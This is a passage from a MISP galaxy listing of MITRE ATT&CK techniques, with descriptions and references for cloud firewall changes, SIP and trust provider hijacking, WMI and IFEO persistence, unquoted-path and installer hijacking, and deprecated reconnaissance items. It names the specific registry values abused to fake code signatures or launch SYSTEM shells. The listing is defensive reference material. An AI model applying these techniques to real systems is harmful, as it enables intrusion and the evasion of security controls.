The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"*

Table 3660. Table References

Links
https://attack.mitre.org/techniques/T1562/004

Disable or Modify Cloud Firewall - T1562.007

Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).

Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)

Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007"*

Table 3661. Table References

Links
https://attack.mitre.org/techniques/T1562/007
https://expel.io/blog/finding-evil-in-aws/

SIP and Trust Provider Hijacking - T1553.003

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP's CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP's CryptSIPDllVerifyIndirectData function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003"*

Table 3662. Table References

Links
http://www.entrust.net/knowledge-base/technote.cfm?tn=8165

https://attack.mitre.org/techniques/T1553/003
https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
https://github.com/mattifestation/PoCSubjectInterfacePackage
https://msdn.microsoft.com/library/ms537359.aspx
https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Windows Management Instrumentation Event Subscription - T1546.003

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"*

Table 3663. Table References

Links
https://attack.mitre.org/techniques/T1546/003
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format—mof-
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
https://technet.microsoft.com/en-us/sysinternals/bb963902

https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
https://www.secureworks.com/blog/wmi-persistence
https://www2.fireeye.com/rs/fireeye/images/rpt-m-trends-2015.pdf

Executable Installer File Permissions Weakness - T1574.005

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005"*

Table 3664. Table References

Links
https://attack.mitre.org/techniques/T1574/005
https://seclists.org/fulldisclosure/2015/Dec/34
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/

Path Interception by Unquoted Path - T1574.009

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009"*

Table 3665. Table References

Links
https://attack.mitre.org/techniques/T1574/009
https://capec.mitre.org/data/definitions/38.html
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Image File Execution Options Injection - T1546.012

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

The tag is: *misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012"*

Table 3666. Table References

Links
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
https://attack.mitre.org/techniques/T1546/012
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2

Friend/Follow/Connect to targets of interest - T1344

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1344).

Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)

The tag is: *misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344"*

View relationships graph

Friend/Follow/Connect to targets of interest - T1344 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364" with estimative-language:likelihood-probability="almost-certain"

Table 3667. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1344
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Friend/Follow/Connect to targets of interest - T1364

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1364).

A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)

The tag is: *misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364"*

View relationships graph

Friend/Follow/Connect to targets of interest - T1364 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344" with estimative-language:likelihood-probability="almost-certain"

Table 3668. Table References

Links

http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1364

Identify personnel with an authority/privilege - T1271

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1271).

Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify personnel with an authority/privilege - T1271"*

Table 3669. Table References

Links
https://attack.mitre.org/techniques/T1271

Receive KITs/KIQs and determine requirements - T1239

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1239).

Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)

The tag is: *misp-galaxy:mitre-attack-pattern="Receive KITs/KIQs and determine requirements - T1239"*

Table 3670. Table References

Links
https://attack.mitre.org/techniques/T1239

Identify job postings and needs/gaps - T1248

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1248).

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248"*

View relationships graph

Identify job postings and needs/gaps - T1248 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278" with estimative-language:likelihood-probability="almost-certain"

Table 3671. Table References

Links
https://attack.mitre.org/techniques/T1248

Analyze hardware/software security defensive capabilities - T1294

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1294).

An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze hardware/software security defensive capabilities - T1294"*

Table 3672. Table References

Links
https://attack.mitre.org/techniques/T1294

Discover target logon/email address format - T1255

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1255).

Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Discover target logon/email address format - T1255"*

Table 3673. Table References

Links
https://attack.mitre.org/techniques/T1255

Identify job postings and needs/gaps - T1267

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1267).

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267"*

View relationships graph

Identify job postings and needs/gaps - T1267 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248" with estimative-language:likelihood-probability="almost-certain"

Table 3674. Table References

Links
https://attack.mitre.org/techniques/T1267

Identify job postings and needs/gaps - T1278

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1278).

Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278"*

View relationships graph

Identify job postings and needs/gaps - T1278 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248" with estimative-language:likelihood-probability="almost-certain"

Table 3675. Table References

Links
https://attack.mitre.org/techniques/T1278

Analyze organizational skillsets and deficiencies - T1300

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1300).

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300"*

View relationships graph

Analyze organizational skillsets and deficiencies - T1300 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297" with estimative-language:likelihood-probability="almost-certain"

Table 3676. Table References

Links
https://attack.mitre.org/techniques/T1300

Exfiltration Over Other Network Medium - T1011

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011"*

Table 3677. Table References

Links
https://attack.mitre.org/techniques/T1011

Network Traffic Capture or Redirection - T1410

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410"*

Table 3678. Table References

Links
https://attack.mitre.org/techniques/T1410
https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/

Determine 3rd party infrastructure services - T1260

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1260).

Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260"*

View relationships graph

Determine 3rd party infrastructure services - T1260 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284" with estimative-language:likelihood-probability="almost-certain"

Table 3679. Table References

Links
https://attack.mitre.org/techniques/T1260

Analyze presence of outsourced capabilities - T1303

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1303).

Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze presence of outsourced capabilities - T1303"*

Table 3680. Table References

Links
https://attack.mitre.org/techniques/T1303

Data from Cloud Storage Object - T1530

Adversaries may access data objects from improperly secured cloud storage.

Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider’s APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)

Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530"*

Table 3681. Table References

Links
https://attack.mitre.org/techniques/T1530
https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
https://cloud.google.com/storage/docs/best-practices
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/
https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia
https://www.wired.com/story/magecart-amazon-cloud-hacks/

Boot or Logon Initialization Scripts - T1037

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037"*

Table 3682. Table References

Links
https://attack.mitre.org/techniques/T1037
https://capec.mitre.org/data/definitions/564.html

Data from Network Shared Drive - T1039

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039"*

Table 3683. Table References

Links
https://attack.mitre.org/techniques/T1039
https://capec.mitre.org/data/definitions/639.html

Download New Code at Runtime - T1407

An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE)

On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)

The tag is: *misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407"*

Table 3684. Table References

Links
https://attack.mitre.org/techniques/T1407
https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html
https://www.internetsociety.org/sites/default/files/10_5_0.pdf
https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei

Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084"*

View relationships graph

Windows Management Instrumentation Event Subscription - T1084 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 3685. Table References

Links
https://attack.mitre.org/techniques/T1084
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf
https://www.secureworks.com/blog/wmi-persistence
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf

Custom Command and Control Protocol - T1094

Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.

The tag is: *misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094"*

View relationships graph

Custom Command and Control Protocol - T1094 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

Table 3686. Table References

Links

https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1094

Trusted Developer Utilities Proxy Execution - T1127

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

The tag is: *misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"*

Table 3687. Table References

Links
